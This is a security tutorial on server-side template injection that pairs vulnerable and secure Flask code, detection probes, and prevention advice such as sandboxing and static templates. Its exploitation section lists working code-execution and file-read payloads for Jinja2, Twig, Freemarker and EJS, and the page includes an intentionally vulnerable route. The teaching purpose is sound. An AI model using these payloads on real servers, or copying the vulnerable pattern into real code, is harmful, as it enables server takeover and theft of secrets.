Server-Side Template Injection (SSTI)
Server-Side Template Injection (SSTI) occurs when user input is unsafely embedded into a server-side template, allowing attackers to inject and execute arbitrary code. This vulnerability can lead to complete server compromise, with one in every 16 organizations being impacted by SSTI attacks.
What is SSTI?
Template engines allow developers to embed dynamic content into web pages. When user input is directly concatenated into templates instead of being passed as data, attackers can inject template syntax that gets executed on the server.
Common vulnerable template engines include:
- Jinja2 (Python/Flask)
- Twig (PHP/Symfony)
- Freemarker (Java)
- EJS (JavaScript/Node.js)
- Pebble, Velocity, Thymeleaf (Java)
How SSTI Works
Vulnerable vs Secure Code
from flask import Flask, request, render_template_string
app = Flask(__name__)
# VULNERABLE: User input directly in template
@app.route('/vulnerable')
def vulnerable():
name = request.args.get('name', '')
# Dangerous! Template is constructed with user input
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
# Attacker input: ?name={{7*7}}
# Output: <h1>Hello 49!</h1>
# Attacker input: ?name={{config}}
# Output: Exposes Flask configuration!
# SECURE: User input passed as variable
@app.route('/secure')
def secure():
name = request.args.get('name', '')
# Safe: Template is static, data is passed separately
return render_template_string("<h1>Hello {{ name }}!</h1>", name=name)Detecting SSTI
Use mathematical expressions to detect template injection. Different engines produce different results:
# Universal detection payloads
${7*7} → 49 (EL, Freemarker, Velocity)
{{7*7}} → 49 (Jinja2, Twig, Nunjucks)
{{7*'7'}} → 7777777 (Jinja2) or 49 (Twig)
<%= 7*7 %> → 49 (ERB, EJS)
#{7*7} → 49 (Pebble, Thymeleaf)
# Fingerprinting the engine
{{7*'7'}} → 7777777 = Jinja2 (string multiplication)
{{7*'7'}} → 49 = Twig (numeric multiplication)Exploitation Examples
Jinja2 (Python) RCE
# Read sensitive files
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
# Execute system commands
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Alternative RCE payload
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('whoami').read() }}
{% endif %}
{% endfor %}Twig (PHP) RCE
# File read
{{ '/etc/passwd'|file_excerpt(1,30) }}
# RCE via filters
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
# Modern Twig RCE
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('exec')}}Freemarker (Java) RCE
# Execute commands
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
# File read
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(' ')}EJS (Node.js) RCE
// EJS template injection
<%= global.process.mainModule.require('child_process').execSync('id') %>
// Alternative
<%= require('child_process').execSync('cat /etc/passwd') %>Real-World Impact
SSTI can lead to:
- Remote Code Execution (RCE) - Full server compromise
- Sensitive data exposure - Configuration, secrets, files
- Lateral movement - Attack internal infrastructure
- Data exfiltration - Steal databases, credentials
Prevention Strategies
1. Never Concatenate User Input
# WRONG - User input in template string
template = f"Hello {user_input}"
render_template_string(template)
# RIGHT - User input as template variable
render_template_string("Hello {{ name }}", name=user_input)2. Use Static Templates
# WRONG - Dynamic template construction
def get_template(user_layout):
return f"<div>{user_layout}</div>"
# RIGHT - Static templates with placeholders
# templates/greeting.html: <div>{{ content }}</div>
return render_template('greeting.html', content=user_content)3. Sandbox Template Engines
from jinja2 import Environment, select_autoescape, sandbox
# Use sandboxed environment for user-provided templates
env = sandbox.SandboxedEnvironment(
autoescape=select_autoescape(['html', 'xml']),
)
# This blocks dangerous operations
try:
template = env.from_string(user_template)
result = template.render(data=safe_data)
except sandbox.SecurityError:
return "Template contains unsafe operations"4. Use Logic-Less Templates
Consider using template engines with minimal logic capabilities:
// Mustache - logic-less, minimal attack surface
import Mustache from 'mustache';
const template = 'Hello {{name}}!';
const output = Mustache.render(template, { name: userInput });
// Even if userInput is "{{constructor.constructor('return this')()}}"
// it's treated as literal text, not codeSecurity Checklist
- Never concatenate user input into templates
- Pass user data as template variables only
- Use sandboxed environments for user templates
- Consider logic-less engines (Mustache, Handlebars)
- Enable auto-escaping in your template engine
- Keep template engines updated
- Implement strict input validation
- Disable dangerous template functions